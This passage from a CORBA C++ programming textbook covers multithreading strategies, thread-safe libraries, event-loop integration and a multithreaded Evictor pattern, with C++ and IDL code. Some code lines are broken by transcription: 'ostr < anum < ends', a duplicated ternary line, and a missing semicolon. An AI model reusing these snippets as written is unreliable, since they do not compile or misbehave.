A serious portability problem exists for the development of multithreaded applications: 
threading primitives are not portable between platforms. Although standard programming 
interfaces for multithreading exist—notably the POSIX 1003.4a pthreads API [2]—not 
all of them are supported across all platforms. Some systems provide this interface or 
slight variations of it, but others, such as Windows, do not support it at all. Fortunately, 
ORB vendors typically ship threads portability libraries with C++ interfaces as part of 
their products. Freely available software, such as the ADAPTIVE Communication 
Environment (ACE) Toolkit [33], also provides portable C++ wrappers for platform-
specific multithreading primitives. 
 
One of the most difficult issues is how to safely remove servants. When multiple threads 
allow multiple requests to be present simultaneously within a single servant, it is a 
complex task to make sure that no other threads are accessing the servant when it is time 
to destroy it. Fortunately, the POA provides several guarantees that help with this 
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problem. We investigate this issue along with multithreaded servant development in more 
detail in Section 21.6. 

21.4.4 Issues with Third-Party Libraries 

CORBA is primarily an integration technology, so it is no surprise that many applications 
use third-party and system libraries. Unfortunately, you may find yourself in the position 
of having to use a third-party library or component that is not thread-safe. You can 
address this situation in several ways. 
 
Work with the library supplier to see whether a thread-safe version of the library is 
available. Assuming that the vendor has implemented it to be truly thread-safe, this is by 
far your best option. 
 
Implement your own thread-safe wrappers for the library, and make sure that you call the 
library only through the wrappers and never directly. Although this can be tedious, the 
work can be worthwhile if the library is reused for other projects. Such wrappers can be 
hard to maintain, however, if the underlying library changes frequently. 
 
Isolate all invocations of the library in a single thread. One straightforward way to do this 
is to develop an IDL interface for the library and provide access to it via a CORBA object. 
By registering the object's servant with a SINGLE_THREAD_MODEL POA, you can 
easily guarantee that all invocations of the library are serialized. With this approach, you 
must take care never to advertise the object reference outside your server process; you 
probably do not want your single-threaded object wrapper to be invoked from code 
outside your process. 
 
If the library is to be used heavily, wrapping it with an object may not be practical 
depending on the dispatching overhead of your ORB. In that case, you may have to resort 
to using lower-level threading primitives and queues to transfer work items from other 
threads that require library invocations. 
 
Sometimes libraries that were not intended for use in multithreaded environments cannot 
be linked with your threaded applications. Depending on the platform, compiler, and 
linker, single-threaded and multithreaded libraries may be unable to coexist because of 
different compile-time or link-time options. They may also fail to work together if each 
one depends on other libraries that themselves are mutually exclusive. Usually, the only 
way to fix this problem is to use a different library altogether. 
 
If the library you are trying to use with your ORB has its own event loop, as many GUI 
libraries do, you must integrate its event loop with the ORB's event loop. In the next 
section we discuss ways of accomplishing this. 

21.4.5 ORB Event Handling Multithreading Issues 
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In Section 11.11 we explain the operations that the ORB provides to allow you to 
control how it handles events such as client connection initiation and the arrival of 
requests on its network connections. Some applications use a blocking event handling 
model in which the application main hands control of the main thread over to 
ORB::run. Others use a non-blocking event handling model in which they temporarily 
give the main thread to the ORB to perform a unit of work. 
 
Some applications contain event handling loops for software other than the ORB, such as 
for a windowing system. For such applications that are multithreaded, there are three 
approaches for integrating these disparate event loops. 
 
Use the non-blocking ORB::work_pending and ORB:: perform_work 
operations to control the ORB's events. Mix them together in your own event handling 
loop that also uses non-blocking event handling for the other software. Section 
11.11.2 shows an example that integrates non-blocking ORB event handling together 
with the event loop of a hypothetical GUI library. 
 
Create a separate thread for each event loop. Because the CORBA specification clearly 
states that portable applications must yield the main thread to the ORB to allow it to 
handle its events, you must run the event loops of the other software in threads other than 
the main thread. If this is not possible because of either the nature of the other software or 
the multithreading support provided by the underlying platform, you should fall back to 
using the approach just described. 
 
Collect all the file descriptors used by all the software packages that you are integrating, 
including your ORB. Then either write your own select-based listening code to handle 
them or nominate one of the software packages to monitor all of them. When an event 
occurs on one of the file descriptors, you invoke its associated software package and tell 
it to handle its file descriptor event. 
 
Although this approach works well for many applications, it requires that you invoke 
proprietary functions on your ORB to get its file descriptors. It also assumes that all 
transports used by the ORB are based on file descriptors, and that is not always the case 
(such as in an embedded system in which the "transport" is actually a hardware 
backplane). Furthermore, it makes it more difficult for the ORB to manage its own 
connections, and that could hurt your application's scalability. We therefore recommend 
that you avoid this approach unless it is absolutely necessary. 
 
Whether you use the first or the second approach depends on the nature of your 
application. The second approach allows for more parallelism than the first, but it is also 
harder to get right because of the need to ensure that all code throughout the application 
is thread-safe. Note that the first approach works for both single-threaded and 
multithreaded applications. 

21.5 Multithreading Strategies 
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No matter how the ORB you use implements multithreaded request dispatch, your 
servants must be able to cope with concurrent invocations, possibly even for the same 
method. This means that you must develop a locking strategy to ensure that access to 
object state and shared data structures is interlocked correctly. 
 
There are basically two locking strategies that you can use: coarse-grained and fine-
grained. With the coarse-grained approach, servants deal only with a single thread of 
control at a time. In other words, only one thread is ever running within a single servant 
at any point. The fine-grained approach allows multiple threads of control to be present in 
a servant simultaneously. The difference between the two models is one of locking 
granularity. 
 
You can use the coarse-grained model by simply locking a per-servant mutex at the 
beginning of every method call and unlocking it at the end. This technique automatically 
protects any per-servant state against concurrent access. However, you must also make 
sure that any state that is shared between servants is also protected by a separate lock. 
This approach is fairly easy to implement and maintain, and it suffices for many 
applications. 
 
With the fine-grained model, each piece of per-servant and shared state is protected by its 
own mutex. Because locking is done at a much finer granularity than for the coarse-
grained model, more parallelism is possible because of reduced lock contention. On the 
other hand, if each method tends to access all pieces of per-servant and shared state, this 
model can be less efficient because of its greater locking overhead. It is also much harder 
to implement this model correctly because you must make sure that you use the right lock 
for the right state and that you always acquire locks in the same order to prevent deadlock. 

21.6 Implementing a Multithreaded Server 

In this section, we explain how to deal with server application concurrency issues by 
making our climate control system capable of running in a multithreaded ORB 
environment. Because difficult concurrency problems can crop up when you manage 
servant life cycles with respect to the objects they incarnate, our example is based on 
adding thread safety to the CCS object creation and removal operations introduced in 
Chapter 12. Specifically, we explore multithreading issues for the device creation and 
removal functions shown in Section 12.6.3 for the servant locator version of the 
Evictor pattern. We expect that several methods on our servants may be called 
simultaneously by different threads, so we use the fine-grained multithreading strategy. 
 
Figure 21.1 illustrates the participants in a locator-based evictor implementation. The 
evictor queue keeps a list of servants in LRU order. Our servant locator adds servants to 
the queue as it creates them, but it first evicts the LRU servant if the queue has reached 
its maximum capacity. You may want to revisit Section 12.6 to refresh your 
understanding of how we implemented the Evictor pattern using a servant locator for the 
single-threaded case. 
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Figure 21.1 Implementing the Evictor pattern using a servant locator. 

 
For synchronization primitives, all examples in this section use the multithreading C++ 
wrappers that are freely available as part of the ACE toolkit.[1] Even if your ORB 
implementation supplies its own multithreading wrappers, they are likely to be similar in 
form and function to the ACE wrappers. 

[1] You can obtain directions for downloading the source code for the ACE C++ wrappers from 
http://www.cs.wustl. edu/~schmidt/ACE-obtain.html. 

21.6.1 Review of CCS Life Cycle Operations 

In Section 12.3 we show how to add factory operations for creating thermometer and 
thermostat objects to the CCS::Controller interface. 
       
#pragma prefix "acme.com" 
module CCS { 
    // ... 
     
    interface Controller { 
     
        exception DuplicateAsset {}; 
     
        Thermometer create_thermometer( 
                        in AssetType    anum, 
                        in LocType      loc 
                    ) raises(DuplicateAsset); 
         
        Thermostat  create_thermostat( 
                        in AssetType    anum, 
                        in LocType      loc, 
                        in TempType     temp 
                    ) raises(DuplicateAsset, BadTemp); 
        
        // Other operations... 
    }; 
}; 
 
      
To create a Thermometer, you invoke create_thermometer on the 
Controller object, passing it the asset number and the location of the new 
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thermometer. You create Thermostat objects similarly, but their factory operation also 
requires a value for the initial thermostat temperature setting. After it is created, each 
Thermometer and Thermostat object is incarnated by a different servant. 
 
The Thermometer interface supplies the remove operation. For the reasons 
mentioned in Section 12.5.5, we do not inherit remove from the 
CosLifeCycle::LifeCy-cleObject interface. When a client invokes remove, 
the target Thermometer or Thermostat object is destroyed. Any further invocations 
using the same object reference will cause the OBJECT_NOT_EXIST exception to be 
raised. 

21.6.2 General Application Issues 

Our multithreaded evictor implementation example does not show POA creation. You 
can assume that we have two POAs: the first one, for the singleton Controller object, 
is a child of the Root POA, and the other one, for the Thermometer and Thermostat 
objects, is a child of the first POA. We explicitly activate the Controller object, and 
its POA has the ORB_CTRL_MODEL, PERSISTENT, RETAIN, UNIQUE_ID, and 
USE_ACTIVE_OBJECT_MAP_ONLY policy values. We register the servant locator in 
the POA that supports the Thermometer and Thermostat objects. This second POA 
has the ORB_CTRL_MODEL, PERSISTENT, NON_RETAIN, UNIQUE_ID, and 
USE_SERVANT_MANAGER policy values. 
 
Note that putting the Controller object in its own separate POA in this example 
differs from the single-threaded example in Section 12.6. Because an ORB can 
concurrently dispatch requests to multiple POAs even if they each have the 
SINGLE_THREAD_MODEL policy value, the single-threaded example registers all 
servants under a single POA to prevent concurrent operations on the servants. One result 
of that design is that the servant locator must recognize and handle the Controller 
object ID as a special case. In our multithreaded evictor implementation, we handle 
concurrency explicitly, so we can safely use multiple POAs as described earlier. 
 
Any Thermometer and Thermostat operations that access or modify the state of a 
device do so by sending messages over the ICP network. We assume that these device 
operations are atomic, so we do not serialize our access to the ICP network. 
 
Another difference between the single-threaded evictor implementation and the 
multithreaded version is the data structure that the Controller_impl servant uses to 
keep track of all the devices. The single-threaded implementation uses an STL map to 
allow the Controller_impl to associate each servant with the asset number of the 
device it incarnates. This arrangement allows the Controller_impl to directly 
delete servants when they are no longer needed. In the multithreaded version, however, 
servants invoke delete on themselves, as Sections 21.6.7 and 21.6.8 describe. 
Therefore, the multithreaded Controller_impl keeps only an STL set of device 
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asset numbers. If a request arrives for a device that is not in the asset number set, we 
raise the OBJECT_NOT_EXIST exception. 
 
Just as for the single-threaded evictor implementation, we implement the evictor queue 
using an STL list: 
       
typedef list<Thermometer_impl *> EvictorQueue; 
 
      
The evictor queue stores pointers to Thermometer_impl servants. Because 
Thermostat_impl derives from Thermometer_impl, the queue can handle 
servants of both types. The evictor queue instance is a private data member of the servant 
locator. 
 
The servant locator also keeps track of all the servants that are in use. It uses an STL map 
for this purpose: 
       
typedef map< 
            CCS::AssetType, 
            EvictorQueue::iterator 
        > ActiveObjectMap; 
 
      
The servant locator uses an instance of this type to map between a target object's asset 
number and the position of its servant, if any, in the evictor queue. Because this map 
serves a purpose very similar to that of the POA's Active Object Map, we call our map 
type ActiveObjectMap. However, you should keep in mind that the servant locator's 
active object map—which, like the evictor queue, is a private data member—is not 
related to any POA's Active Object Map. (Our POA is a NON_RETAIN POA, so it does 
not even have an Active Object Map.) 

21.6.3 Concurrency Issues 

Because the create_thermometer and create_thermostat operations can 
each be invoked concurrently by different clients, two or more clients may concurrently 
invoke the same creation operation with the same arguments. This would result in the 
same object being created multiple times. We therefore must serialize invocations of the 
create_thermometer and create_thermostat operations. 
 
The factory operations also share data with the Thermometer::remove operation. 
Specifically, both of the creation operations and the remove operation must access the 
controller's set of asset numbers to add or erase the asset numbers of their target devices. 
This means that we must serialize access to the controller's set to prevent it from being 
updated simultaneously by multiple threads. 
 
The servant locator's preinvoke method does all the work needed to keep the evictor 
queue in LRU order and to evict servants when necessary. Even though preinvoke is 
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the only place in our application where the evictor queue is accessed and modified, we 
still must address concurrency issues for it. The POA may call preinvoke concurrently 
from several different threads, even for the same object ID. This means that each of our 
servants may be processing requests for several threads at the same time. 
 
In the remove operation, not only must we coordinate access to shared object state with 
the creation operations, but also we must ensure that the object's servant is not destroyed 
until all requests it is handling have completed. Otherwise, other request invocations 
might try to access a data member of the deleted servant, and potentially that could cause 
the server application to crash. We use servant reference counting to solve this issue. 

21.6.4 Controller_impl Servant Class 

The thermometer and thermostat creation functions supplied by the Controller and 
the Thermometer::remove method all need to access the set of asset numbers kept 
by the Controller_impl, the servant for the Controller object. To coordinate 
access to this set of asset numbers, we introduce the necessary locking variables in a 
place that is accessible to both servant types. Following is the revised 
Controller_impl class. 
       
#include <set> 
#include <string> 
#include <ace/Synch_T.h> 
#include "CCSS.hh" 
 
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    Controller_impl( 
        PortableServer::POA_ptr poa, 
        const char *            asset_file 
    ); 
    virtual ~Controller_impl(); 
 
    // CORBA operations. 
    virtual CCS::Controller::ThermometerSeq * 
                list() throw(CORBA::SystemException); 
 
    virtual void 
                find(CCS::Controller::SearchSeq & slist) 
                    throw(CORBA::SystemException); 
     
    virtual void 
                change( 
                    const CCS::Controller::Thermostat Seq & tlist, 
                     CORBA::Short                               delta 
                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::EChange 
                ); 
  
    // Thermometer and Thermostat creation functions. 
    virtual CCS::Thermometer_ptr 
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                create_thermometer( 
                    CCS::AssetType asset_num, 
                    const char *   location 
                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::DuplicateAsset 
                ); 
     
    virtual CCS::Thermostat_ptr 
                create_thermostat( 
                    CCS::AssetType asset_num, 
                    const char *   location, 
                    CCS::TempType  initial_temp 
                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::DuplicateAsset, 
                    CCS::Thermostat::BadTemp 
                ); 
     
    // Public mutex for modifying assets. 
    ACE_Mutex m_assets_mutex; 
     
    // Helper functions to allow thermometers and 
    // thermostats to add themselves to the m_assets set, 
    // to remove themselves again, and to check for 
    // existence. These functions assume that the caller 
    // acquires the m_assets_mutex first. 
    void           add_impl(CCS::AssetType anum) 
    { 
        m_assets.insert(anum); 
    } 
    void           remove_impl(CCS::AssetType anum) 
    { 
        m_assets.erase(anum); 
    } 
    CORBA::Boolean exists(CCS::AssetType anum) 
    { 
        return m_assets.find(anum) != m_assets.end(); 
    } 
 
private: 
    PortableServer::POA_var     m_poa; 
    string                      m_asset_file; 
     
    typedef set<CCS::AssetType> AssetSet; 
    AssetSet                    m_assets; 
 
    // copy not supported 
    Controller_impl(const Controller_impl &); 
    void operator=(const Controller_impl &); 
  
    // Helper class for find() operation not shown. 
}; 
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We add a public data member called m_assets_mutex to this class to protect the 
m_assets set. The public helper functions add_impl, remove_impl, and exists 
provide access to this set, but they assume that the caller locks the m_assets_mutex 
first. 

21.6.5 Implementing Creation Operations 

The Controller_impl::create_thermometer method is the same as originally 
shown in Section 12.3.2 except for the code required for thread synchronization. 
Because the creation of thermometers and thermostats both require the same 
multithreading synchronization, we show only the revised create_thermometer 
method. 
       
CCS::Thermometer_ptr 
Controller_impl:: 
create_thermometer(CCS::AssetType anum, const char * loc) 
throw(CORBA::SystemException, CCS::Controller::DuplicateAsset) 
{ 
    // Open a nested scope to limit the extent of 
    // the guard object. 
    { 
        // Lock the mutex. 
        ACE_Guard<ACE_Mutex> guard(m_assets_mutex); 
        // Make sure the asset number is new. 
        if (exists(anum)) 
            throw CCS::Controller::DuplicateAsset(); 
       
         // Add the device to the network, program its location, 
        // and add it to the m_assets map. 
        if (ICP_online(anum) != 0) 
        abort(); 
        if (ICP_set(anum, "location", loc) != 0) 
        abort() 
        add_impl(anum); 
    } 
     
    // Create a reference for the new thermometer. 
    return make_dref(m_poa, anum); 
} 
 
      
After locking the m_assets_mutex, we perform creation in exactly the same way as 
the original code shown in Section 12.3.2. Note that because we throw exceptions if 
necessary—such as a CCS::Controller::DuplicateAsset exception if we find 
that the device already exists—our use of the ACE_Guard<ACE_Mutex> to unlock the 
m_assets_mutex in its destructor is very helpful. It makes it impossible to forget to 
unlock the mutex even if an exception occurs. 
 
As in the original version of this function, we next mark the device as being on-line and 
set its location. After that we use the make_dref helper function from Section 
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12.3.2 to create the new Thermometer object and its reference. Finally, we return the 
object reference for the new Thermometer object. 
 
Note that we use a nested scope to control the lifetime of the 
ACE_Guard<ACE_Mutex> lock so that it unlocks the m_assets_mutex before the 
invocation of make_dref. If we were to invoke make_dref with the mutex locked, 
there is a potential for deadlock. The definition of make_dref shows why. 
       
static CCS::Thermometer_ptr 
make_dref(PortableServer::POA_ptr poa, CCS::AssetType anum) 
{ 
    // Convert asset number to OID. 
    ostrstream ostr; 
    ostr < anum < ends; 
    char * anum_str = ostr.str(); 
    PortableServer::ObjectId_var oid 
        = PortableServer::string_to_ObjectId(anum_str); 
    ostr.rdbuf()->freeze(0); 
    // Look at the model via the network to determine 
    // the repository ID. 
    char buf[32]; 
    if (ICP_get(anum, "model", buf, sizeof(buf)) != 0) 
        abort(); 
    const char * rep_id = strcmp(buf, "Sens-A-Temp") == 0 
                            ? "IDL:acme.com/CCS/Thermometer:1.0" 
                            : "IDL:acme.com/CCS/Thermostat:1.0";:  
"IDL:acme.com/CCS/Thermostat:1.0"; 
    // Make a new reference. 
    CORBA::Object_var obj 
        = poa->create_reference_with_id(oid, rep_id); 
    return CCS::Thermometer::_narrow(obj); 
} 
 
      
Because make_dref narrows the object reference it creates, it could cause the ORB to 
invoke the is_a operation on the new object. The object would not yet have a servant at 
that point to service the is_a request, so the POA hosting the object would call the 
servant locator to provide a servant. As Section 21.6.7 shows, the servant locator 
implementation attempts to lock the same mutex in its preinvoke function. 
 
There are two reasons why it is safe to invoke make_dref under these circumstances 
without holding the lock on m_assets_mutex. 
 
You destroy a device by invoking its remove operation. However, you cannot invoke 
remove (or any other operation) on the device until you have its object reference. 
Because make_dref, which at this point has not yet been invoked for the new device, 
creates the object reference, the object reference is not available to any client. Device 
removal is not possible until after create_thermometer returns. 
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Because create_thermometer acquires the mutex lock before it adds the asset 
number of the device to the Controller_impl's set of known asset numbers, any 
other thread trying to create the same device (or any other device) is blocked. After the 
mutex is unlocked, the waiting thread will lock the mutex, see that the device already 
exists, and throw the CCS::Controller::DuplicateAsset exception without 
invoking make_dref. 

21.6.6 DeviceLocator_impl Servant Locator 

Our DeviceLocator_impl servant locator class does all the work required for 
servant eviction. It uses the m_assets_mutex to serialize access to the evictor queue 
and to its own active object map, so it needs no new data members or member functions. 
Therefore, the following DeviceLocator_impl class definition is identical to the 
original one shown in Section 12.6.3. 
       
class DeviceLocator_impl : 
    public virtual POA_PortableServer::ServantLocator  { 
public: 
            DeviceLocator_impl(Controller_impl * ctrl); 
     
    virtual PortableServer::Servant 
                preinvoke( 
            const PortableServer::ObjectId & oid, 
                    PortableServer::POA_ptr          poa, 
                    const char *                     operation, 
                    void * &                         cookie                 
                ) throw( 
                    CORBA::SystemException, 
                    PortableServer::ForwardRequest 
                ); 
     
    virtual void 
                postinvoke( 
                    const PortableServer::ObjectId & oid, 
                    PortableServer::POA_ptr              poa, 
                    const char *                         operation, 
                    void *                               cookie, 
                    PortableServer::Servant              servant 
                ) throw(CORBA::SystemException) {} 
private: 
    Controller_impl *                   m_ctrl; 
     
    typedef list<Thermometer_impl *>    EvictorQueue; 
    typedef map<CCS::AssetType, 
                EvictorQueue::iterator> 
                                        ActiveObjectMap; 
  
    static const unsigned int           MAX_EQ_SIZE =  100; 
    EvictorQueue                        m_eq; 
    ActiveObjectMap                     m_aom; 
     
    // Copy not supported 
    DeviceLocator_impl(const DeviceLocator_impl &); 
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    void operator=(const DeviceLocator_impl &); 
}; 
 
      

21.6.7 Implementing preinvoke 

Our implementation of preinvoke must ensure that the target device still exists, create 
a servant for it if necessary, and possibly evict the LRU servant if the evictor queue is full. 
This means that it must access the assets set via the controller's exists helper function, 
and it must modify the evictor queue to add the new servant and possibly to evict another 
one. It must also store information about the servant in its own active object map. 
 
Because the POA may invoke the preinvoke function simultaneously from multiple 
threads, we must serialize access to all the shared data structures. One approach would be 
to create a separate mutex for each one. However, this approach can cause problems if we 
must acquire two or more of the mutex locks together in different parts of our code. 
Specifically, if the various parts of our code attempt to acquire the mutex locks in 
different orders, we could deadlock because of different threads each having acquired a 
different portion of the group of mutex locks but being blocked by the others from 
acquiring the rest. 
 
We avoid the potential for deadlock by instead using a single mutex, the 
m_assets_mutex in the Controller_impl, to protect access to all shared data. 
Following is the revised implementation of preinvoke that uses this mutex. 
       
PortableServer::Servant 
DeviceLocator_impl:: 
preinvoke( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr              poa, 
    const char *                         operation, 
    void * &                         cookie 
) throw(CORBA::SystemException, PortableServer::ForwardRequest) 
{ 
    // Convert object id into asset number. 
    CORBA::String_var oid_string; 
    try { 
        oid_string = PortableServer::ObjectId_to_string(oid); 
    } catch (const CORBA::BAD_PARAM &) { 
        throw CORBA::OBJECT_NOT_EXIST(); 
    } 
    istrstream istr(oid_string.in()); 
    CCS::AssetType anum; 
    istr >> anum; 
    if (istr.fail()) 
        throw CORBA::OBJECT_NOT_EXIST(); 
     
    // Acquire the mutex lock. 
    ACE_Guard<ACE_Mutex> guard(m_ctrl->m_assets_mutex); 
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    // Check whether the device is known. 
    if (!m_ctrl->exists(anum)) 
        throw CORBA::OBJECT_NOT_EXIST(); 
     
    // Look at the object map to find out whether 
    // we have a servant in memory. 
    Thermometer_impl * servant; 
    ActiveObjectMap::iterator servant_pos = m_aom.find(anum); 
    if (servant_pos == m_aom.end()) { 
        // No servant in memory. If evictor queue is full, 
        // evict servant at head of queue. 
        if (m_eq.size() == MAX_EQ_SIZE) { 
            servant = m_eq.back(); 
            m_aom.erase(servant->m_anum); 
            m_eq.pop_back(); 
            servant->_remove_ref(); 
        } 
        // Instantiate correct type of servant. 
        char buf[32]; 
        if (ICP_get(anum, "model", buf, sizeof(buf)) != 0) 
            abort(); 
        if (strcmp(buf, "Sens-A-Temp") == 0) 
            servant = new Thermometer_impl(anum); 
        else 
            servant = new Thermostat_impl(anum); 
    } else { 
        // Servant already in memory. 
        servant = *(servant_pos->second);    // Remember servant 
        m_eq.erase(servant_pos->second);     // Remove from queue 
         
        // If operation is "remove", also remove entry from 
        // active object map -- the object is about to be deleted. 
        if (strcmp(operation, "remove") == 0) 
            m_aom.erase(servant_pos); 
    } 
    // We found a servant, or just instantiated it. 
    // If the operation is not a remove, move 
    // the servant to the tail of the evictor queue 
    // and update its queue position in the map. 
    if (strcmp(operation, "remove") != 0) { 
        m_eq.push_front(servant); 
        m_aom[anum] = m_eq.begin(); 
    } else 
        m_ctrl->remove_impl(anum);   // Mark device as removed. 
    return servant; 
} 
 
      

This implementation is identical to the one in Section 12.6.3 except for the following 
changes. 
 
We lock the m_assets_mutex before we check for device existence, and we keep it 
locked until the end of the function to ensure that the evictor queue and active object map 
do not get corrupted by concurrent access. 
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When evicting a servant, we invoke _remove_ref on it instead of directly deleting it. 
Note that we do not invoke _add_ref on servants that we find already in memory; the 
only time _remove_ref is invoked on a servant is when we evict it or when the object 
it incarnates is the target of a remove request. Before dispatching the actual request to the 
servant (after calling preinvoke and before calling postinvoke), the POA 
increments the servant's reference count to ensure that the servant remains viable for the 
duration of the request. 

21.6.8 Implementing the Thermometer Servant 

Because preinvoke performs the hard work of properly updating our shared data, the 
Thermometer_impl class is trivial. First, the remove method simply sets the 
m_removed member variable to mark the fact that the target object has been destroyed. 
Then it invokes _remove_ref on itself. 
       
void 
Thermometer_impl:: 
remove() throw(CORBA::SystemException) 
{ 
    m_removed = true; 
    _remove_ref(); 
} 
 
      
Note that remove does not need to modify the servant locator's active object map or the 
evictor queue. By checking the name of the operation in preinvoke, the servant locator 
can effectively evict any servant processing a remove request. Note also that remove 
does not remove the target device from the controller's set of assets. For several reasons, 
the servant locator preinvoke method also takes care of this. 
 
There may be other requests in progress on this servant in other threads. If we made 
remove responsible for removing the target's asset number from the controller's set, the 
other threads might see the change and get confused. At that point, they would appear to 
be running requests for an object that no longer exists. 
 
The preinvoke method must prevent new threads from trying to create a new servant 
for a removed object. If remove were instead responsible for removing the target's asset 
number from the controller's set, it would have to reacquire the m_assets_mutex and 
remove the target's entry. Before it could reacquire the mutex, however, another thread 
could intervene and invoke preinvoke to get a servant for the same object. The 
preinvoke method would see that the asset number still exists (because remove had 
not yet executed) but would find no servant in memory, so it would create a new servant. 
As soon as remove continued and removed the target's asset number, the new servant 
that preinvoke created would become a memory leak, at least for awhile. Eventually, 
if enough requests were to arrive for other objects, the servant would make its way to the 
head of the evictor queue and would be destroyed. By making preinvoke remove the 
target's asset number from the controller's set, we can avoid all this. The next time the 



IT-SC book: Advanced CORBA® Programming with C++ 

 850 

POA invokes preinvoke for the same target object, exists returns false, and 
preinvoke raises OBJECT_NOT_EXIST. 
 
For similar reasons, remove cannot send an ICP message to mark the device as off-line 
because requests that are already in progress for the same device must be allowed 
continued access to that device until they complete. For example, assume that one client 
invokes the temperature attribute at the same time that another client invokes the 
remove operation on the same object. Also assume that the temperature request 
arrives slightly ahead of the remove request, but then its thread gets preempted. The 
remove method proceeds to mark the device off-line and then completes. When the 
temperature method starts executing again and tries to send an ICP message to its 
device, it will fail because the device is no longer on-line. 
 
The only place where we can safely mark the device off-line is in the 
Thermometer_impl destructor. By the time it is executed, all other threads are 
guaranteed to have finished using the servant (as long as they all performed proper 
reference counting of the servant). The destructor executes as soon as the last thread 
using the servant invokes _remove_ref. The Thermometer_impl destructor looks 
like this: 
       
Thermometer_impl:: 
~Thermometer_impl() 
{ 
    if (m_removed && ICP_offline(m_anum) != 0) 
        abort(); 
} 
 
      
The destructor checks the m_removed flag instead of unconditionally marking the 
device as off-line. Servants can also be removed because of eviction, in which case only 
the servant, and not the object, is being destroyed. 
 
Finally, note that we must derive the Thermometer_impl servant class from 
PortableServer::RefCountServantBase (see Section 11.7.5) so that it 
inherits thread-safe implementations of the _add_ref and _remove_ref reference 
counting functions. 

21.6.9 Evaluating the Multithreaded Evictor 

As you can see from our example, implementing the Evictor pattern for a multithreaded 
application using a servant locator is not much more difficult than implementing it for the 
single-threaded case. The only changes are as follows. 
 
We add a mutex variable to Controller_impl so that we can protect its set of asset 
numbers from concurrent access. 
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We use the same mutex in the preinvoke implementation to serialize the accesses and 
modifications to the evictor queue and the active object map. 
 
Instead of invoking Controller_impl::remove_impl from the 
Thermometer_impl::remove method to remove the target device's asset number, 
we change the code to perform the removal from within preinvoke. This is necessary 
to ensure the consistency of the evictor queue and active object map with the set of asset 
numbers (by manipulating them while holding a lock on m_assets_mutex) and to 
avoid leaking a servant. 
 
We derive the Thermometer_impl class from RefCountServantBase to inherit 
a thread-safe implementation of _remove_ref that we can use instead of deleting our 
servants directly. In this way, we avoid deleting our servants out from under other 
requests simultaneously in progress in other threads. 
 
None of the Thermometer_impl or Thermostat_impl method implementations 
need worry about mutex locks because they merely invoke atomic operations on the 
devices they represent. Even remove, which modifies the m_removed data member, 
does not need to guard against concurrent access because the serialization that is 
performed for each operation invocation in DeviceLocator_impl::preinvoke 
ensures that only a single thread ever invokes remove. 
 
The most serious drawback to our multithreaded evictor implementation is that we lock 
the m_assets_mutex for most of the preinvoke method, effectively serializing all 
invocations of it. Because preinvoke is called for every request on every 
Thermometer and Thermostat object, this could seriously degrade our application's 
performance because of lock contention, especially if most requests take little time to 
process. 
 
Briefly, alternatives to the servant locator evictor implementation include the following: 
Using a simple servant locator that allocates a new servant for each request, an approach 
that incurs costs because of excessive heap allocation 
 
Using servant activators, and thus having the POA keep an Active Object Map in 
memory 
 
Using a default servant, for which you pay the costs of determining the target object ID 
for each request as well as having to locate the object's (possibly persistent) state 
 
For your applications, you must decide whether the locking overhead of the servant 
locator evictor solution outweighs the costs of the alternatives. 

21.7 Servant Activators and the Evictor Pattern 
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In Section 11.9 we describe how invoking deactivate_object does not 
guarantee that the POA will actually remove the object's Active Object Map entry in a 
timely fashion. This is because the POA keeps the Active Object Map entry intact until 
no more requests are active for that object. Unfortunately, this means that an object 
receiving a steady stream of requests might never be deactivated, in which case its 
servant will never be etherealized. 
 
In a multithreaded environment, this lack of predictable servant etherealization makes it 
extremely difficult, if not impossible, to correctly implement the Evictor pattern using 
servant activators. Because a steady stream of requests can effectively prevent object 
deactivation and lock a servant into memory, you can end up with many more servants in 
memory than your evictor queue can contain. Evicted servants wind up in a sort of limbo. 
They are no longer managed by your evictor code and yet are kept artificially alive by 
incoming requests until the POA gets the chance to tell the servant activator to etherealize 
them. If you manage your evictor queue properly and remove servants from it when 
necessary, all you can do is invoke deactivate_object and hope that the evicted 
servants get etherealized sooner rather than later so that they can clean up after 
themselves. 
 
If you are sure that your application's size and performance will not suffer from having 
too many servants in memory at once, you should not worry about the costs associated 
with using servant activators. Otherwise, we recommend that you use servant locators or 
default servants. 

21.8 Summary 

In this chapter we provide a short overview of multithreading issues for CORBA 
applications. We also show an example that follows from our presentation of the Evictor 
pattern in Chapter 12, this time showing how to safely implement the evictor in a 
multithreaded application. 
 
Multithreaded programming can be difficult, even for seasoned veterans. It pays to spend 
a little more time in up-front design work when you're programming for multiple threads, 
and it does not hurt to have a peer review your code when you think it is finished. Even 
simple, informal code reviews can help you track down insidious concurrency bugs that 
might otherwise take hours or even days to resolve. 
 
We do not try to provide a complete tutorial on multithreaded programming in this 
chapter. To learn more about general multithreaded programming techniques, please refer 
to the appropriate resources listed in Appendix B and the Bibliography. 
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Chapter 22. Performance, Scalability, and 
Maintainability 

22.1 Chapter Overview 

In this chapter we bring the book to a close with a light discussion of design techniques 
that can help make your CORBA applications perform well and be more scalable, 
maintainable, and portable. Section 22.3 discusses overhead due to remote method 
invocation and explains how you can reduce it. In Section 22.4 we review the 
techniques described in earlier chapters for optimizing server applications. Following that, 
Section 22.5 briefly presents federation as a solution to distributing process load. 
Finally, Section 22.6 describes an approach for isolating your application code from 
your CORBA-related code to achieve better portability and separation of concerns. 

22.2 Introduction 

By now you probably realize that CORBA does not present you with a cookbook 
approach to building distributed systems. You cannot simply throw together a handful of 
interfaces, implement them, and expect to have a distributed application. To be sure, 
CORBA makes it easy to create a client-server application in a short time. However, if 
you want to build something that scales to large numbers of objects and at the same time 
performs well, you must plan ahead. 
 
This chapter presents a few of the design techniques you have at your disposal for 
building applications that scale and perform well without sacrificing maintainability of 
your code. This discussion is by no means complete—CORBA applies to such a variety 
of distributed systems applications that we cannot hope to cover the topic extensively 
here. Instead, we present a few design techniques that are likely to be useful for many 
kinds of applications. Of course, you must use your own judgment as to whether these 
techniques apply to your situation. 
 
Typically, the goals of scalability, performance, and maintainability are in conflict. For 
example, better performance often implies coding or design techniques that result in 
source code that compromises maintainability. Similarly, increased scalability often 
implies a reduction in performance. Steering the correct path through these trade-offs is 
the hallmark of design excellence, and a cookbook approach is unlikely to lead to the best 
possible solution. However, the techniques we present here should help to get you started 
along the correct path and provide a source of ideas you can modify as the situation 
demands. 

22.3 Reducing Messaging Overhead 
